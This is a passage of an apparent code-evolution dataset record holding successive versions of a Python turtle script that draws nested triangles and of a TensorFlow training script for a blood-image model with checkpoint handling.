window.exitonclick()\n\n\ndraw()\n", "step-4": "import turtle\n\n\ndef draw_triangle(brad):\n brad.color('blue', 'green')\n brad.fill(True)\n brad.forward(300)\n brad.left(120)\n brad.forward(300)\n brad.left(120)\n brad.forward(300)\n brad.end_fill()\n brad.fill(True)\n brad.left(180)\n brad.forward(150)\n brad.right(60)\n brad.forward(150)\n brad.right(120)\n brad.forward(150)\n brad.right(120)\n brad.forward(150)\n brad.end_fill()\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(180)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.right(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.right(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(180)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(60)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(60)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(180)\n brad.forward(37.5)\n brad.left(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(180)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.left(180)\n brad.forward(37.5)\n brad.right(-60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(-60)\n brad.forward(75)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n brad.right(-60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(75 + 37.5)\n brad.color('blue', 'white')\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n\n\ndef draw():\n window = turtle.Screen()\n window.bgcolor('white')\n brad = turtle.Turtle()\n brad.shape('turtle')\n brad.color('blue')\n brad.speed(6)\n draw_triangle(brad)\n window.exitonclick()\n\n\ndraw()\n", "step-5": "import turtle\ndef draw_triangle(brad):\n brad.color(\"blue\", \"green\")\n brad.fill(True)\n\n brad.forward(300)\n brad.left(120)\n brad.forward(300)\n brad.left(120)\n brad.forward(300)\n brad.end_fill()\n#jdjjdd brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(180)\n brad.forward(150)\n brad.right(60)\n brad.forward(150)\n brad.right(120)\n brad.forward(150)\n brad.right(120)\n brad.forward(150)\n brad.end_fill()\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(180)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n\n brad.right(60)\n brad.forward(75)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(120)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n\n brad.right(60)\n brad.forward(75)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(120)\n brad.forward(75)\n brad.right(60)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.right(120)\n brad.forward(75)\n brad.end_fill()\n\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(180)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n\n brad.right(60)\n brad.forward(37.5)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n\n brad.right(60)\n brad.forward(37.5)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n\n brad.right(180)\n brad.forward(37.5)\n brad.left(60)\n brad.forward(75)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n\n brad.left(60)\n brad.forward(75)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n\n brad.left(180)\n brad.forward(37.5)\n\n brad.right(60)\n brad.forward(37.5)\n\n brad.left(120)\n brad.forward(37.5)\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.right(60)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n\n brad.left(180)\n brad.forward(37.5)\n brad.right(-60)\n brad.forward(75)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n\n brad.right(-60)\n brad.forward(75)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(60)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.left(120)\n brad.forward(37.5)\n brad.end_fill()\n\n brad.right(-60)\n brad.forward(37.5)\n\n brad.left(120)\n brad.forward(75 + 37.5)\n\n brad.color(\"blue\", \"white\")\n brad.fill(True)\n brad.left(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.right(120)\n brad.forward(37.5)\n brad.end_fill()\n\n\n\n\ndef draw():\n window = turtle.Screen()\n window.bgcolor(\"white\")\n brad = turtle.Turtle()\n brad.shape(\"turtle\")\n brad.color(\"blue\")\n brad.speed(6)\n draw_triangle(brad)\n window.exitonclick()\ndraw()\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> def check_filesystem(): """ either start a new checkpoint or continue from existing checkpoint folder """ if FLAGS.continue_run: if not tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if not tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.MakeDirs(FLAGS.checkpoint_dir) else: if tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.DeleteRecursively(FLAGS.summaries_dir) tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir) tf.gfile.MakeDirs(FLAGS.checkpoint_dir) def reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer): """ restore existing model from checkpoint data """ global_step = -1 if FLAGS.continue_run: ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir) if ckpt and ckpt.model_checkpoint_path: saver.restore(sess, ckpt.model_checkpoint_path) global_step = int(ckpt.model_checkpoint_path.split('/')[-1]. split('-')[-1]) print('checkpoint found at step %d', global_step) train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog .START), global_step) validation_writer.add_session_log(tf.SessionLog(status=tf. SessionLog.START), global_step) test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog. START), global_step) else: print('No checkpoint file found') return global_step def main(argv=None): train() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> tf.app.flags.DEFINE_string('checkpoint_dir', RUN + '/checkpoints', 'Directory where to write event logs and checkpoint.') tf.app.flags.DEFINE_string('summaries_dir', RUN + '/summaries', 'Summaries directory') tf.app.flags.DEFINE_string('max_steps', 20000, 'Maximum steps to train the model') tf.app.flags.DEFINE_string('continue_run', True, 'Continue from when training stopped?') def train(): """Train blood_model for a number of steps. Periodically evaluate training and validation accuracies """ global_step = tf.Variable(0, name='global_step', trainable=False) blood_datasets = blood_model.inputs(eval_data=False) x, y_, data, keep_prob = blood_model.prepare_input() conv_output, _, _, _, _ = blood_model.inference(data, keep_prob) loss = blood_model.loss(conv_output, y_) accuracy = blood_model.accuracy(conv_output, y_) train_op = blood_model.train(loss, global_step) sess = tf.InteractiveSession() sess.run(tf.initialize_all_variables()) summary_op = tf.merge_all_summaries() saver = tf.train.Saver() check_filesystem() train_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/train', sess.graph) validation_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/validation', sess.graph) test_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/test', sess.graph) _ = reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer) for step in range(tf.train.global_step(sess, global_step) + 1, FLAGS. max_steps): batch = blood_datasets.train.next_batch() _, loss_output = sess.run([train_op, loss], feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5}) assert not np.isnan(loss_output) if step % 100 == 0: summary, train_accuracy = sess.run([summary_op, accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0}) train_writer.add_summary(summary, step) print('step %d, training accuracy %g, loss %g' % (step, train_accuracy, loss_output)) if (step % 1000 == 0 or step + 1 == FLAGS.max_steps) and not step == 0: batch = blood_datasets.validation.next_batch() summary_validation, accuracy_validation = sess.run([summary_op, accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0}) validation_writer.add_summary(summary_validation, step) print('validation accuracy %g' % accuracy_validation) checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt') saver.save(sess, checkpoint_path, global_step=step) print('saving checkpoint') def check_filesystem(): """ either start a new checkpoint or continue from existing checkpoint folder """ if FLAGS.continue_run: if not tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if not tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.MakeDirs(FLAGS.checkpoint_dir) else: if tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.DeleteRecursively(FLAGS.summaries_dir) tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir) tf.gfile.MakeDirs(FLAGS.checkpoint_dir) def reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer): """ restore existing model from checkpoint data """ global_step = -1 if FLAGS.continue_run: ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir) if ckpt and ckpt.model_checkpoint_path: saver.restore(sess, ckpt.model_checkpoint_path) global_step = int(ckpt.model_checkpoint_path.split('/')[-1]. split('-')[-1]) print('checkpoint found at step %d', global_step) train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog .START), global_step) validation_writer.add_session_log(tf.SessionLog(status=tf. SessionLog.START), global_step) test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog. START), global_step) else: print('No checkpoint file found') return global_step def main(argv=None): train() if __name__ == '__main__': tf.app.run() <|reserved_special_token_1|> <|reserved_special_token_0|> FLAGS = tf.app.flags.FLAGS RUN = 'new_test_hm' tf.app.flags.DEFINE_string('checkpoint_dir', RUN + '/checkpoints', 'Directory where to write event logs and checkpoint.') tf.app.flags.DEFINE_string('summaries_dir', RUN + '/summaries', 'Summaries directory') tf.app.flags.DEFINE_string('max_steps', 20000, 'Maximum steps to train the model') tf.app.flags.DEFINE_string('continue_run', True, 'Continue from when training stopped?') def train(): """Train blood_model for a number of steps. Periodically evaluate training and validation accuracies """ global_step = tf.Variable(0, name='global_step', trainable=False) blood_datasets = blood_model.inputs(eval_data=False) x, y_, data, keep_prob = blood_model.prepare_input() conv_output, _, _, _, _ = blood_model.inference(data, keep_prob) loss = blood_model.loss(conv_output, y_) accuracy = blood_model.accuracy(conv_output, y_) train_op = blood_model.train(loss, global_step) sess = tf.InteractiveSession() sess.run(tf.initialize_all_variables()) summary_op = tf.merge_all_summaries() saver = tf.train.Saver() check_filesystem() train_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/train', sess.graph) validation_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/validation', sess.graph) test_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/test', sess.graph) _ = reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer) for step in range(tf.train.global_step(sess, global_step) + 1, FLAGS. max_steps): batch = blood_datasets.train.next_batch() _, loss_output = sess.run([train_op, loss], feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5}) assert not np.isnan(loss_output) if step % 100 == 0: summary, train_accuracy = sess.run([summary_op, accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0}) train_writer.add_summary(summary, step) print('step %d, training accuracy %g, loss %g' % (step, train_accuracy, loss_output)) if (step % 1000 == 0 or step + 1 == FLAGS.max_steps) and not step == 0: batch = blood_datasets.validation.next_batch() summary_validation, accuracy_validation = sess.run([summary_op, accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0}) validation_writer.add_summary(summary_validation, step) print('validation accuracy %g' % accuracy_validation) checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt') saver.save(sess, checkpoint_path, global_step=step) print('saving checkpoint') def check_filesystem(): """ either start a new checkpoint or continue from existing checkpoint folder """ if FLAGS.continue_run: if not tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if not tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.MakeDirs(FLAGS.checkpoint_dir) else: if tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.DeleteRecursively(FLAGS.summaries_dir) tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir) tf.gfile.MakeDirs(FLAGS.checkpoint_dir) def reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer): """ restore existing model from checkpoint data """ global_step = -1 if FLAGS.continue_run: ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir) if ckpt and ckpt.model_checkpoint_path: saver.restore(sess, ckpt.model_checkpoint_path) global_step = int(ckpt.model_checkpoint_path.split('/')[-1]. split('-')[-1]) print('checkpoint found at step %d', global_step) train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog .START), global_step) validation_writer.add_session_log(tf.SessionLog(status=tf. SessionLog.START), global_step) test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog. START), global_step) else: print('No checkpoint file found') return global_step def main(argv=None): train() if __name__ == '__main__': tf.app.run() <|reserved_special_token_1|> import tensorflow as tf import blood_model import os import numpy as np FLAGS = tf.app.flags.FLAGS RUN = 'new_test_hm' tf.app.flags.DEFINE_string('checkpoint_dir', RUN + '/checkpoints', 'Directory where to write event logs and checkpoint.') tf.app.flags.DEFINE_string('summaries_dir', RUN + '/summaries', 'Summaries directory') tf.app.flags.DEFINE_string('max_steps', 20000, 'Maximum steps to train the model') tf.app.flags.DEFINE_string('continue_run', True, 'Continue from when training stopped?') def train(): """Train blood_model for a number of steps. Periodically evaluate training and validation accuracies """ global_step = tf.Variable(0, name='global_step', trainable=False) blood_datasets = blood_model.inputs(eval_data=False) x, y_, data, keep_prob = blood_model.prepare_input() conv_output, _, _, _, _ = blood_model.inference(data, keep_prob) loss = blood_model.loss(conv_output, y_) accuracy = blood_model.accuracy(conv_output, y_) train_op = blood_model.train(loss, global_step) sess = tf.InteractiveSession() sess.run(tf.initialize_all_variables()) summary_op = tf.merge_all_summaries() saver = tf.train.Saver() check_filesystem() train_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/train', sess.graph) validation_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/validation', sess.graph) test_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/test', sess.graph) _ = reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer) for step in range(tf.train.global_step(sess, global_step) + 1, FLAGS. max_steps): batch = blood_datasets.train.next_batch() _, loss_output = sess.run([train_op, loss], feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5}) assert not np.isnan(loss_output) if step % 100 == 0: summary, train_accuracy = sess.run([summary_op, accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0}) train_writer.add_summary(summary, step) print('step %d, training accuracy %g, loss %g' % (step, train_accuracy, loss_output)) if (step % 1000 == 0 or step + 1 == FLAGS.max_steps) and not step == 0: batch = blood_datasets.validation.next_batch() summary_validation, accuracy_validation = sess.run([summary_op, accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0}) validation_writer.add_summary(summary_validation, step) print('validation accuracy %g' % accuracy_validation) checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt') saver.save(sess, checkpoint_path, global_step=step) print('saving checkpoint') def check_filesystem(): """ either start a new checkpoint or continue from existing checkpoint folder """ if FLAGS.continue_run: if not tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if not tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.MakeDirs(FLAGS.checkpoint_dir) else: if tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.DeleteRecursively(FLAGS.summaries_dir) tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir) tf.gfile.MakeDirs(FLAGS.checkpoint_dir) def reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer): """ restore existing model from checkpoint data """ global_step = -1 if FLAGS.continue_run: ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir) if ckpt and ckpt.model_checkpoint_path: saver.restore(sess, ckpt.model_checkpoint_path) global_step = int(ckpt.model_checkpoint_path.split('/')[-1]. split('-')[-1]) print('checkpoint found at step %d', global_step) train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog .START), global_step) validation_writer.add_session_log(tf.SessionLog(status=tf. SessionLog.START), global_step) test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog. START), global_step) else: print('No checkpoint file found') return global_step def main(argv=None): train() if __name__ == '__main__': tf.app.run() <|reserved_special_token_1|> import tensorflow as tf import blood_model import os import numpy as np FLAGS = tf.app.flags.FLAGS RUN = 'new_test_hm' tf.app.flags.DEFINE_string('checkpoint_dir', RUN+'/checkpoints', """Directory where to write event logs and checkpoint.""") tf.app.flags.DEFINE_string('summaries_dir', RUN+'/summaries', """Summaries directory""") tf.app.flags.DEFINE_string('max_steps', 20000, """Maximum steps to train the model""") tf.app.flags.DEFINE_string('continue_run', True, """Continue from when training stopped?""") def train(): """Train blood_model for a number of steps. Periodically evaluate training and validation accuracies """ global_step = tf.Variable(0, name='global_step', trainable=False) # Get images and labels for blood_model. blood_datasets = blood_model.inputs(eval_data=False) # randomize the inputs look x, y_, data, keep_prob = blood_model.prepare_input() # build the convolution network conv_output, _, _, _, _ = blood_model.inference(data, keep_prob) # Calculate loss. loss = blood_model.loss(conv_output, y_) accuracy = blood_model.accuracy(conv_output, y_) train_op = blood_model.train(loss, global_step) sess = tf.InteractiveSession() sess.run(tf.initialize_all_variables()) # Build the summary operation based on the TF collection of Summaries. summary_op = tf.merge_all_summaries() saver = tf.train.Saver() check_filesystem() train_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/train', sess.graph) validation_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/validation', sess.graph) test_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/test', sess.graph) _ = reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer) for step in range(tf.train.global_step(sess, global_step)+1, FLAGS.max_steps): batch = blood_datasets.train.next_batch() _, loss_output = sess.run([train_op, loss], feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5}) assert not np.isnan(loss_output) if step % 100 == 0: summary, train_accuracy = sess.run([summary_op, accuracy], feed_dict={ x: batch[0], y_: batch[1], keep_prob: 1.0}) train_writer.add_summary(summary, step) print("step %d, training accuracy %g, loss %g" % (step, train_accuracy, loss_output)) if (step % 1000 == 0 or (step + 1) == FLAGS.max_steps) and not step == 0: batch = blood_datasets.validation.next_batch() summary_validation, accuracy_validation = sess.run([summary_op, accuracy], feed_dict={ x: batch[0], y_: batch[1], keep_prob: 1.0}) validation_writer.add_summary(summary_validation, step) print("validation accuracy %g" % accuracy_validation) # save checkpoint checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt') saver.save(sess, checkpoint_path, global_step=step) print("saving checkpoint") def check_filesystem(): """ either start a new checkpoint or continue from existing checkpoint folder """ if FLAGS.continue_run: # start a new run, set flag to continue, so there is nothing # check if something there, if not, create, but don't delete if not tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if not tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.MakeDirs(FLAGS.checkpoint_dir) else: # delete checkpoints and event summaries because training restarted if tf.gfile.Exists(FLAGS.summaries_dir): tf.gfile.DeleteRecursively(FLAGS.summaries_dir) tf.gfile.MakeDirs(FLAGS.summaries_dir) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation')) tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test')) if tf.gfile.Exists(FLAGS.checkpoint_dir): tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir) tf.gfile.MakeDirs(FLAGS.checkpoint_dir) def reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer): """ restore existing model from checkpoint data """ global_step = -1 if FLAGS.continue_run: ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir) if ckpt and ckpt.model_checkpoint_path: # Restores from checkpoint saver.restore(sess, ckpt.model_checkpoint_path) # extract global_step from it. global_step = int(ckpt.model_checkpoint_path.split('/')[-1].split('-')[-1]) print("checkpoint found at step %d", global_step) # ensure that the writers ignore saved summaries that occurred after the last checkpoint but before a crash train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.START), global_step) validation_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.START), global_step) test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.START), global_step) else: print('No checkpoint file found') return global_step def main(argv=None): train() if __name__ == '__main__': tf.app.run()
flexible
{ "blob_id": "f653e906d3026de4bb1e705162f4321bb75e8705", "index": 4166, "step-1": "<mask token>\n\n\ndef check_filesystem():\n \"\"\"\n either start a new checkpoint or continue from existing checkpoint folder\n \"\"\"\n if FLAGS.continue_run:\n if not tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if not tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n else:\n if tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.DeleteRecursively(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir)\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n\n\ndef reload_checkpoint_if_exists(sess, saver, train_writer,\n validation_writer, test_writer):\n \"\"\"\n restore existing model from checkpoint data\n \"\"\"\n global_step = -1\n if FLAGS.continue_run:\n ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)\n if ckpt and ckpt.model_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path)\n global_step = int(ckpt.model_checkpoint_path.split('/')[-1].\n split('-')[-1])\n print('checkpoint found at step %d', global_step)\n train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog\n .START), global_step)\n validation_writer.add_session_log(tf.SessionLog(status=tf.\n SessionLog.START), global_step)\n test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.\n START), global_step)\n else:\n print('No checkpoint file found')\n return global_step\n\n\ndef main(argv=None):\n train()\n\n\n<mask token>\n", "step-2": "<mask token>\ntf.app.flags.DEFINE_string('checkpoint_dir', RUN + '/checkpoints',\n 'Directory where to write event logs and checkpoint.')\ntf.app.flags.DEFINE_string('summaries_dir', RUN + '/summaries',\n 'Summaries directory')\ntf.app.flags.DEFINE_string('max_steps', 20000,\n 'Maximum steps to train the model')\ntf.app.flags.DEFINE_string('continue_run', True,\n 'Continue from when training stopped?')\n\n\ndef train():\n \"\"\"Train blood_model for a number of steps. Periodically evaluate training and validation accuracies \"\"\"\n global_step = tf.Variable(0, name='global_step', trainable=False)\n blood_datasets = blood_model.inputs(eval_data=False)\n x, y_, data, keep_prob = blood_model.prepare_input()\n conv_output, _, _, _, _ = blood_model.inference(data, keep_prob)\n loss = blood_model.loss(conv_output, y_)\n accuracy = blood_model.accuracy(conv_output, y_)\n train_op = blood_model.train(loss, global_step)\n sess = tf.InteractiveSession()\n sess.run(tf.initialize_all_variables())\n summary_op = tf.merge_all_summaries()\n saver = tf.train.Saver()\n check_filesystem()\n train_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/train',\n sess.graph)\n validation_writer = tf.train.SummaryWriter(FLAGS.summaries_dir +\n '/validation', sess.graph)\n test_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/test',\n 